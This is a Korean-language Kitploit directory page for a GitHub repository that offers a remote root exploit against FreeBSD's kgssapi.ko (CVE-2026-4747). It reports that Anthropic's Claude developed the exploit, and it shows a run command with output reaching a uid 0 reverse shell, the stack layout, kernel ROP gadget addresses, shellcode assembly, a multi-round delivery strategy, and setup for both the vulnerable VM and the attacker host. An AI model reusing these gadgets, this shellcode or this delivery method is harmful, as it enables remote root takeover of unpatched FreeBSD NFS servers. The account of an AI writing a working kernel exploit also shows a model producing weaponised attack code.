Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
Log in
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

피드문의개인정보© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-4747- — FreeBSD CVE-2026-4747용 원격 커널 익스플로잇으로, kgssapi.ko의 스택 버퍼 오버플로를 활용하여 리버스 셸로 RCE를 달성합니다. 다중 라운드 ROP 전달 및 상세한 설정 지침을 포함합니다. | Kitploit
도구/GitHubGitHub/kaleth4/cve-2026-4747-
Exploit FrameworksVulnerability AnalysisExploitationReverse EngineeringPayload DevelopmentBinary Exploitation
GitHubkaleth4/cve-2026-4747-

CVE-2026-4747-

FreeBSD CVE-2026-4747용 원격 커널 익스플로잇으로, kgssapi.ko의 스택 버퍼 오버플로를 활용하여 리버스 셸로 RCE를 달성합니다. 다중 라운드 ROP 전달 및 상세한 설정 지침을 포함합니다.

저장소 보기
1165개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-4747: FreeBSD 원격 커널 RCE

AI가 발견하고 악용한 최초의 원격 커널 익스플로잇


📋 빠른 요약

항목세부 사항
CVECVE-2026-4747
취약점kgssapi.ko (RPCSEC_GSS)의 스택 버퍼 오버플로우
영향원격 커널 코드 실행 → uid 0 리버스 셸
영향 버전FreeBSD 13.5, 14.3, 14.4, 15.0 (패치되지 않은 버전)
발견자Nicholas Carlini (Anthropic의 Claude 사용)
Advisory 날짜2026-03-26
익스플로잇 시간약 8시간 (Claude의 실제 작업 4시간)

🎯 타임라인

  • 2026-03-26: FreeBSD가 advisory CVE-2026-4747 공개
  • 2026-03-29 오전 9:45 PDT: Claude에게 익스플로잇 개발 요청
  • 2026-03-29 오후 5:00 PDT: Claude가 uid 0 리버스 셸이 포함된 작동하는 익스플로잇 전달

🚀 실시간 데모

python3 exploit.py -t 127.0.0.1 --ip 10.0.2.2 --port 4444

출력:

==============================================================
  CVE-2026-4747: FreeBSD RPCSEC_GSS Remote Kernel RCE
  Stack overflow → ROP → shellcode → uid 0 reverse shell
==============================================================

  Target:   127.0.0.1:2049
  Callback: 10.0.2.2:4444
  SPN:      nfs/[email protected]

  Shellcode: 432 bytes (54 qwords)
  Delivery:  15 rounds (1 pmap + 14 write)

  [R1/15]  pmap_change_prot(BSS, 0x2000, RWX) ✓
  [R2/15]  write (4 qwords → 0xffffffff8198a800) ✓
  [R3/15]  write (4 qwords → 0xffffffff8198a820) ✓
  ...
  [R15/15] write + EXECUTE (2 qwords) → JUMP 0xffffffff8198a800 ✓

  [*] Shellcode delivered and executing
  [*] kproc_create → kern_execve('/bin/sh -c ...')
  [*] Reverse shell → 10.0.2.2:4444

  [+] Connection from 127.0.0.1:41320
  [+] Got shell!

sh: can't access tty; job control turned off
# id
uid=0(root) gid=0(wheel) groups=0(wheel)

🔍 Claude가 한 일은?

Claude는 advisory에서 작동하는 리버스 셸까지 도달하기 위해 6가지 서로 다른 기술적 문제를 해결했습니다:

1️⃣ 랩 구성

  • NFS + Kerberos가 포함된 FreeBSD 14.4-RELEASE VM
  • 중요 요구 사항: CPU 2개 이상 (익스플로잇이 라운드마다 NFS 스레드 1개를 종료시키며, 15라운드 필요)
  • 커널 크래시 덤프를 읽기 위한 원격 디버깅

2️⃣ 멀티 패킷 전달

  • 432바이트 셸코드는 1개 패킷에 맞지 않음 (XDR 제한: 400바이트)
  • 해결책: 15라운드 오버플로우
    • 1라운드: pmap_change_prot() → BSS 실행 가능
    • 2~14라운드: 라운드당 32바이트 셸코드 작성
    • 15라운드: 마지막 16바이트 + 셸코드로 점프

3️⃣ 스레드 정리 종료

  • 각 오버플로우가 NFS 워커 스레드를 하이재킹
  • kthread_exit()를 사용하여 깔끔하게 종료 (커널 패닉 없음)
  • 다음 라운드를 위해 NFS 서버가 계속 실행됨

4️⃣ 오프셋 디버깅 (De Bruijn 패턴)

  • 초기 디스어셈블리는 RIP가 168번째 바이트에 있다고 표시 → 잘못됨
  • Claude가 순환 De Bruijn 패턴 전송
  • 커널 크래시 덤프 읽기 → 실제 오프셋: 200번째 바이트
  • 32바이트 차이: GSS 헤더 + 컨텍스트 처리

5️⃣ 커널 → 유저랜드 전환

  • NFS 스레드는 순수 커널 스레드 (vmspace 없음, trapframe 없음)
  • 2단계 해결책:
    • 1단계: kproc_create() → 유저 모드 인프라를 갖춘 새 프로세스
    • 2단계: kern_execve("/bin/sh") → ELF 로드, trapframe 구성, P_KPROC 플래그 정리
    • 결과: /bin/sh가 uid 0으로 ring 3에서 실행

6️⃣ 디버그 레지스터 미스터리 (DR7/DDB)

  • 워커가 유효한 명령어에서 trap 1 (디버그 예외)로 크래시
  • 원인: kproc_create()가 부모의 디버그 레지스터를 상속
  • 이전 패닉이 DDB를 활성화 → 영구 하드웨어 브레이크포인트
  • 수정: kproc_create() 전에 DR7 정리

🏗️ 기술 아키텍처

스택 레이아웃 (De Bruijn으로 검증됨)

Credential body byte → Stack target
[0..35]              → GSS header (version, proc, seq, svc, handle)
[36..151]            → Padding (rpchdr remainder + local vars)
[152..199]           → Saved registers (RBX, R12, R13, R14, R15, RBP)
[200..207]           → RETURN ADDRESS ← 첫 번째 ROP 가젯
[208..399]           → ROP chain (192 bytes = 24 qwords)

ROP 가젯 (FreeBSD 14.4-RELEASE)

가젯주소용도
pop rdi; retK+0x1adcda인자 1 (rdi)
pop rsi; retK+0x1cdf98인자 2 (rsi)
pop rdx; retK+0x5fa429인자 3 (rdx)
pop rax; retK+0x400cb4쓸 값
mov [rdi], rax; ret0xffffffff80e3457c8바이트 임의 쓰기

여기서 K = 0xffffffff80200000 (커널 베이스, FreeBSD 14.x에서는 KASLR 없음)

셸코드 (432바이트)

1단계 - 엔트리 (하이재킹된 NFS 스레드):

mov rax, 0xffffffff8198bf00    ; BSS로 스택 피벗
mov rsp, rax
xor eax, eax
mov dr7, rax                    ; 하드웨어 브레이크포인트 정리
call rbx                        ; kproc_create (RBX에 미리 로드됨)
mov rax, kthread_exit
call rax                        ; 스레드를 깔끔하게 종료

2단계 - 워커 (새 커널 프로세스):

; kern_execve 인자 구성
lea rdi, [rbp - 0x80]          ; &image_args
mov rsi, "/bin/sh"
mov edx, 1                      ; UIO_SYSSPACE
call exec_args_add_fname

; "-c" 및 리버스 셸 명령 추가
; ...

; /bin/sh 실행
mov rdi, gs:[0]                 ; curthread
mov rax, [rdi + 0x08]           ; proc
call kern_execve

; P_KPROC 플래그 정리
and byte [rax + 0xb8], 0xfb    ; 유저랜드 전환 허용
ret                             ; → fork_exit → userret → iretq → ring 3

🛠️ 타겟 구성

옵션 A: QEMU (cloud-init으로 자동화)

# 이미지 다운로드
wget https://download.freebsd.org/releases/VM-IMAGES/14.4-RELEASE/amd64/Latest/\
FreeBSD-14.4-RELEASE-amd64-BASIC-CLOUDINIT-ufs.qcow2.xz
xz -d FreeBSD-14.4-RELEASE-amd64-BASIC-CLOUDINIT-ufs.qcow2.xz
qemu-img resize FreeBSD-14.4-RELEASE-amd64-BASIC-CLOUDINIT-ufs.qcow2 8G

# Cloud-init 구성
cat > user-data << 'EOF'
#cloud-config
chpasswd:
  list: |
    root:freebsd
  expire: False
runcmd:
  - kldload kgssapi
  - sysrc rpcbind_enable=YES nfs_server_enable=YES
  - service rpcbind start && service nfsd start
EOF

# 포트 포워딩으로 부팅
qemu-system-x86_64 -enable-kvm -m 2G -smp 2 \
  -drive file=freebsd-vuln.qcow2,format=qcow2,if=virtio \
  -netdev user,id=net0,hostfwd=tcp::2222-:22,hostfwd=tcp::2049-:2049,hostfwd=tcp::8888-:88 \
  -device virtio-net-pci,netdev=net0 -nographic

옵션 B: VMware / VirtualBox / bhyve (수동)

요구 사항:

  • CPU 2개 이상 (중요: CPU당 NFS 스레드 8개, 익스플로잇은 15라운드 필요)
  • 2GB RAM, 8GB 디스크
  • FreeBSD 14.4-RELEASE

VM 설정:

# 1. Kerberos 설치
pkg install -y krb5

# 2. KDC 생성
cat > /etc/krb5.conf << 'EOF'
[libdefaults]
    default_realm = TEST.LOCAL
[realms]
    TEST.LOCAL = {
        kdc = 127.0.0.1
        admin_server = 127.0.0.1
    }
EOF

# 3. KDC 데이터베이스 초기화
/usr/local/sbin/kdb5_util create -s -P masterkey -r TEST.LOCAL

# 4. principals 생성 ("test"를 호스트 이름으로 교체)
/usr/local/sbin/kadmin.local -q "addprinc -pw password [email protected]"
/usr/local/sbin/kadmin.local -q "addprinc -randkey nfs/[email protected]"
/usr/local/sbin/kadmin.local -q "ktadd -k /etc/krb5.keytab nfs/[email protected]"

# 5. KDC 시작
/usr/local/sbin/krb5kdc

# 6. NFS 구성
mkdir -p /export
echo '/export -network 0.0.0.0/0' > /etc/exports

# 7. 서비스 활성화
sysrc rpcbind_enable=YES nfs_server_enable=YES gssd_enable=YES
service rpcbind start && service nfsd start

# 8. 확인
sysctl vfs.nfsd.threads        # 16이 표시되어야 함 (CPU 2개 기준)
sockstat -l | grep 2049        # tcp4/tcp6이 표시되어야 함

공격자 호스트 설정 (Linux)

# 1. 패키지 설치
sudo apt install krb5-user libkrb5-dev python3-gssapi
pip install gssapi

# 2. /etc/krb5.conf 구성
sudo tee /etc/krb5.conf << EOF
[libdefaults]
    default_realm = TEST.LOCAL
    rdns = false                       # 중요: DNS 정규화 방지
    dns_canonicalize_hostname = false
[realms]
    TEST.LOCAL = {
        kdc = VM_IP:KDC_PORT           # 127.0.0.1:8888 (QEMU) 또는 192.168.x.x:88 (bridged)
    }
EOF

# 3. /etc/hosts에 호스트 이름 추가
echo "VM_IP test" | sudo tee -a /etc/hosts

# 4. Kerberos 티켓 획득
echo "password" | kinit [email protected]
klist

# 5. (선택 사항) 새 가젯을 찾기 위해 ROPgadget 설치
pip install ROPgadget

🎪 익스플로잇 전략

1라운드: BSS를 실행 가능하게 만들기

ROP chain:
  pop rdi          → rdi = 0xffffffff8198a000 (BSS page)
  pop rsi          → rsi = 0x2000 (2 pages = 8KB)
  pop rdx          → rdx = 7 (VM_PROT_ALL = RWX)
  pmap_change_prot → 권한을 RWX로 변경
  pop rdi          → rdi = 0
  kthread_exit     → 스레드를 깔끔하게 종료

2~14라운드: 셸코드 작성

각 라운드는 32바이트 (4 qwords)를 BSS에 작성:

ROP chain template:
  pop rdi          → rdi = BSS_SC + offset
  pop rax          → rax = shellcode_qword
  mov [rdi], rax   → 8바이트 작성
  (3번 더 반복)
  pop rdi          → 0
  kthread_exit     → 종료

비용: ROP 40바이트/작성 8바이트 → 총 15라운드

15라운드: 셸코드로 점프

ROP chain:
  pop rdi          → rdi = BSS_SC + 416
  pop rax          → rax = 마지막 qword
  mov [rdi], rax   → 작성
  (반복)
  BSS_SC           → 셸코드로 점프!

🐛 해결된 과제

도구 다운로드